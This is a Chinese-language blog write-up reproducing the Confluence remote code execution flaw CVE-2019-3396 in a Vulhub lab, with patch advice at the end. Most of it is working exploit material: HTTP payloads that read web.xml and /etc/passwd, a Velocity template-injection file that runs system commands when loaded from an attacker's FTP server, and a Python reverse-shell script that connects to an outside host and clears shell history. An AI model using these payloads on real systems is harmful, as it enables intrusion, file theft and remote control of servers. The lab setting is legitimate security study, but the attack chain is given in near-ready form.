【Vulhub】CVE-2019-3396 Confluence RCE漏洞復現
- 2020 年 9 月 30 日
- 筆記
CVE-2019-3396 Confluence RCE漏洞復現
一、環境搭建
選擇的vulhub里的鏡像,進入vulhub/Confluence/CVE-2019-3396目錄下,執行
docker-compose up -d
鏡像拉完後,訪問your-ip:8090埠開始部署confluence服務
ps:
點擊Get an evaluation license ,準備獲取一個90day的激活keys。這裡最好記住你的Server ID 準備隨時ctrl cv
頁面跳轉後,如果沒有Atlassian 賬戶需要拿郵箱註冊一個,驗證完之後登錄。
搭建完成。(個人還是比較喜歡這種簡約的風格)
二、漏洞利用
1、讀取外部web.xml
利用Bp進行抓包,注意Referer欄位最好用自己抓的包的值,vulhub上提供的payload如下
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: Your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: //Your-ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"//www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
2、利用file協議讀取本地任意文件
6.12以前的Confluence沒有限制文件讀取的協議和路徑,我們可以使用file:///etc/passwd
來讀取文件,也可以通過//...
來載入遠程文件。該文件是一個Velocity模板,我們可以通過模板注入(SSTI)來執行任意命令:
payload:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: //192.168.124.153:8090/pages/resumedraft.action?draftId=65594&draftShareId=4fd7bbb3-230b-480e-9360-e02b65c602ad
Content-Type: application/json; charset=utf-8
Content-Length: 167
{"contentId":"1","macro":{"name":"widget","params":{"url":"//www.viddler.com/v/test","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
wireshark流量
3、實現RCE excute command
主要原理是根據讀文件的思路,遠程包含python搭建的ftp伺服器上的.vm文件來創造執行命令的環境,進而實現RCE。
python開啟ftp
pip install pyftpdlib
python -m pyftpdlib -p 8888
在開啟ftp的當前目錄下寫入r.vm文件
r.vm
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
excute ifconfig
payload
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: //192.168.124.153:8090/pages/resumedraft.action?draftId=65594&draftShareId=4fd7bbb3-230b-480e-9360-e02b65c602ad
Content-Type: application/json; charset=utf-8
Content-Length: 205
{"contentId":"1","macro":{"name":"widget","params":{"url":"//www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://192.168.124.141:8888/r.vm","command":"ifconfig"},"body":""}}
4、反彈shell
復現失敗 先鴿著~
payload
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: //192.168.124.153:8090/pages/resumedraft.action?draftId=65594&draftShareId=4fd7bbb3-230b-480e-9360-e02b65c602ad
Content-Type: application/json; charset=utf-8
Content-Length: 205
{"contentId":"1","macro":{"name":"widget","params":{"url":"//www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
nc.py
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
三、修復建議
1、升級Confluence版本
2、主動升級widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar
修復版本
版本6.6.12及更高版本的6.6.x.
版本6.12.3及更高版本的6.12.x
版本6.13.3及更高版本的6.13.x
版本6.14.2及更高版本
四、參考文章
//github.com/jas502n/CVE-2019-3396
//www.dazhuanlan.com/2020/03/12/5e699fd90b28d/?cf_chl_jschl_tk=e8dd06011fdaf3156578789db783fb1e19334a17-1601445523-0-AdY5cinwXvy7C_ZK_GUCgYoYxD_U6KEMtMg1gw7ZuAw5iuw4yxQ8_rZ3f_PcBZs1SG56zvLKO_EqoXU-v3sZP_n9-62h4UsjOEY1GK88HfYnaujQ1WEe8ZOeUiw5iZrnTjKZ8d7690DID91z2O53gyy6gBvDPUwANWteegtlgEFyC9bvKiFwcgYOZh3Gn6pz0LtpvwssjznG5YXiavUBo9z8cpow7EwN6PqtyuIuGFI2iUC47sq56j2_QNYgai2DTSg55AV6B3ITEe0CFrZno3hB3ZTffuW0EnstoMAf66nA7u5LaU4W4atjxx9PgspQag
//github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
//www.freebuf.com/news/200183.html